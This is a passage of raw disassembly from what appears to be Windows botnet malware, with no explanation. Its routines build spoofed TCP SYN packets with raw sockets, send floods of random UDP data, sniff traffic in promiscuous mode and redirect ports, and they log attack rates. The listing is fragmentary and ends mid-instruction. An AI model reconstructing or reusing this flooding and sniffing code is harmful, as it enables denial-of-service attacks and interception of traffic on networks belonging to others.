push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4283D0 proc near ; CODE XREF: sub_401BC7j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021C6 sub_4283D0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_428461 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_428461: ; CODE XREF: ___:00428441j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 call near ptr 71AB8769h nop mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_428494 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_428494: ; CODE XREF: ___:00428485j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_4284B7 loc_4284AA: ; CODE XREF: ___:0042865Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4284B7: ; CODE XREF: ___:004284A8j mov ecx, [esp+0B4h] mov ebp, dword_511C38 push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27E0BCDh mov [esp+48h], eax mov al, byte_4D84C9 test al, al jz loc_42870B mov ebx, dword_511AC8 mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_428555 ; --------------------------------------------------------------------------- xor esi, esi loc_428555: ; CODE XREF: ___:00428551j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax call near ptr 71AB2BC0h nop mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A37 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A37 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx call near ptr 71AB2C69h nop cmp eax, 0FFFFFFFFh jz loc_4284AA nop call near ptr 27E0BCDh mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_428707 mov al, [esp+13h] test al, al jz short loc_4286A9 push 2710h push 3E8h call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4286A9: ; CODE XREF: ___:0042868Ej push 0FFh push 0 call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 7C10E890h, 0C9A00240h, 84004D84h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_428707: ; CODE XREF: ___:00428686j mov edi, [esp+18h] loc_42870B: ; CODE XREF: ___:0042853Bj push edi call near ptr 71AB9639h nop mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428810 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40188E mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_428831 dec eax or eax, 0FFFFFE00h inc eax loc_428831: ; CODE XREF: sub_428810+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BC7 sub_428810 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428880 proc near ; CODE XREF: sub_40178Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428880 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F11C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_428880 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_428908 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428908: ; CODE XREF: sub_4288F0+Dj mov eax, esi pop esi retn 4 sub_4288F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428920 proc near ; CODE XREF: sub_401159j jmp sub_4014CE sub_428920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428940 proc near ; CODE XREF: sub_401A14j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428940 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_40142E mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014DD push eax call sub_40173A add esp, 14h test eax, eax jz short loc_428A0E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_428A0E: ; CODE XREF: sub_428940+A2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_428940 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428AB0 proc near ; CODE XREF: sub_40173Aj var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_437B30 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428B11 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_428B0A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_428B0A: ; CODE XREF: sub_428AB0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428B11: ; CODE XREF: sub_428AB0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_511AC8 push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_428B4D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B4D: ; CODE XREF: sub_428AB0+77j push esi nop call near ptr 71AB2B66h cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_428B6B mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B6B: ; CODE XREF: sub_428AB0+ACj cmp esi, 0FFFFh jle short loc_428B7E mov [esp+28h+arg_FFE8], 0FFFFh loc_428B7E: ; CODE XREF: sub_428AB0+9Bj ; sub_428AB0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_428B94 mov [esp+28h+arg_FFE4], 1 loc_428B94: ; CODE XREF: sub_428AB0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_428BCE loc_428BBB: ; CODE XREF: sub_428AB0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_428BBB loc_428BCE: ; CODE XREF: sub_428AB0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_428C60 mov ebp, dword_511C68 loc_428BE6: ; CODE XREF: sub_428AB0+1AEj mov al, byte_4D84C9 test al, al jz short loc_428C60 mov esi, 0Bh loc_428BF4: ; CODE XREF: sub_428AB0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 283030Ah dec esi jnz short loc_428BF4 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_428C4B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call near ptr 71AB2B66h nop mov [esp+48h+var_36], ax loc_428C4B: ; CODE XREF: sub_428AB0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_428BE6 loc_428C60: ; CODE XREF: sub_428AB0+12Aj ; sub_428AB0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_428AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428CE0 proc near ; CODE XREF: sub_40209Aj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A37 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_428D3D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D3D: ; CODE XREF: sub_428CE0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_428D5D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D5D: ; CODE XREF: sub_428CE0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi call near ptr 71AB2C69h nop push esi mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_428CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428DC0 proc near ; CODE XREF: sub_401DB1j var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_437B30 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40188E mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40188E mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_448F40 mov eax, edi loc_428E27: ; CODE XREF: sub_428DC0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428E4B test cl, cl jz short loc_428E47 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428E4B add eax, 2 add esi, 2 test cl, cl jnz short loc_428E27 loc_428E47: ; CODE XREF: sub_428DC0+71j xor eax, eax jmp short loc_428E50 ; --------------------------------------------------------------------------- loc_428E4B: ; CODE XREF: sub_428DC0+6Dj ; sub_428DC0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E50: ; CODE XREF: sub_428DC0+89j cmp eax, ebx jnz short loc_428EA3 mov ebp, dword_4D80D7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_428E67 cmp ebp, 0FFFFFFFFh jnz short loc_428EAE loc_428E67: ; CODE XREF: sub_428DC0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax nop call near ptr 71AB50C8h lea ecx, [esp+18h+arg_1C] push ecx call near ptr 71AB4FD4h nop movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_428EAE ; --------------------------------------------------------------------------- loc_428EA3: ; CODE XREF: sub_428DC0+92j push edi call sub_40188E add esp, 4 mov ebp, eax loc_428EAE: ; CODE XREF: sub_428DC0+A5j ; sub_428DC0+E1j cmp ebp, ebx jz short loc_428EB7 cmp ebp, 0FFFFFFFFh jnz short loc_428EBD loc_428EB7: ; CODE XREF: sub_428DC0+F0j mov ebp, dword_4D80D7 loc_428EBD: ; CODE XREF: sub_428DC0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_428FFD lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_428FFD lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_428FFD push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi call near ptr 71AB4489h nop cmp eax, 0FFFFFFFFh jz loc_428FFD mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_428FE3 mov ebx, dword_511CA4 loc_428F53: ; CODE XREF: sub_428DC0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_428FD3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_428FAE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_428FCB ; --------------------------------------------------------------------------- loc_428FAE: ; CODE XREF: sub_428DC0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_428FD3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_428FCB: ; CODE XREF: sub_428DC0+1ECj call sub_40209A add esp, 8 loc_428FD3: ; CODE XREF: sub_428DC0+1C0j ; sub_428DC0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_428F53 loc_428FE3: ; CODE XREF: sub_428DC0+187j mov edx, dword_511A90 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi nop call near ptr 71AB9639h loc_428FFD: ; CODE XREF: sub_428DC0+11Dj ; sub_428DC0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_428DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4290B0 proc near ; CODE XREF: sub_401898j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4290B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_446F04 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F12C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4290B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429120 proc near ; CODE XREF: sub_401FA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4291E0 proc near ; CODE XREF: sub_4017A8j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4291E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4291E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4292B0: ; CODE XREF: ___:00401A23j ; ___:loc_402086j push esi mov esi, ecx call sub_4017A8 test byte ptr [esp+8], 1 jz short loc_4292C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292C8: ; CODE XREF: ___:004292BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015FF test [esp+4+arg_0], 1 jz short loc_4292F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292F8: ; CODE XREF: sub_4292E0+Dj mov eax, esi pop esi retn 4 sub_4292E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429310 proc near ; CODE XREF: sub_4015FFj jmp sub_4017A8 sub_429310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429330 proc near ; CODE XREF: sub_4015B9j push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8085 call sub_401857 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_401DB1 add esp, 10h mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_429330 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429450 proc near ; CODE XREF: sub_401893j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429450 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401FA0 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_40142E push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43F14C call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017EE push eax lea ecx, [esi+11h] call sub_4015E1 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_429450 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE5 test [esp+4+arg_0], 1 jz short loc_429528 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_429528: ; CODE XREF: sub_429510+Dj mov eax, esi pop esi retn 4 sub_429510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429540 proc near ; CODE XREF: sub_401BE5j push esi mov esi, ecx push edi mov edi, dword_511C9C mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43F14C cmp eax, 0FFFFFFFFh jz short loc_42955E push eax call edi ; closesocket loc_42955E: ; CODE XREF: sub_429540+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42956C push eax call edi ; closesocket loc_42956C: ; CODE XREF: sub_429540+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_4017A8 pop edi pop esi retn sub_429540 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4295B0: ; CODE XREF: ___:loc_401D3Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43CDB2 push eax mov eax, 5488h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov byte ptr [esp+12h], 0 loc_4295E8: ; CODE XREF: ___:0042A576j lea ecx, [esp+0B8h] call sub_401B4A lea ecx, [esp+14h] mov dword ptr [esp+54A0h], 0 mov byte ptr [esp+13h], 0 call sub_40142E mov ecx, [ebp+0BBh] push 0 lea eax, [esp+398h] push 104h push eax push ecx mov byte ptr [esp+54B0h], 1 call sub_401280 add esp, 10h test al, al jz loc_42A600 lea edx, [esp+394h] lea ecx, [esp+30h] push edx call sub_401870 push offset byte_448F40 lea ecx, [esp+34h] mov byte ptr [esp+54A4h], 2 call 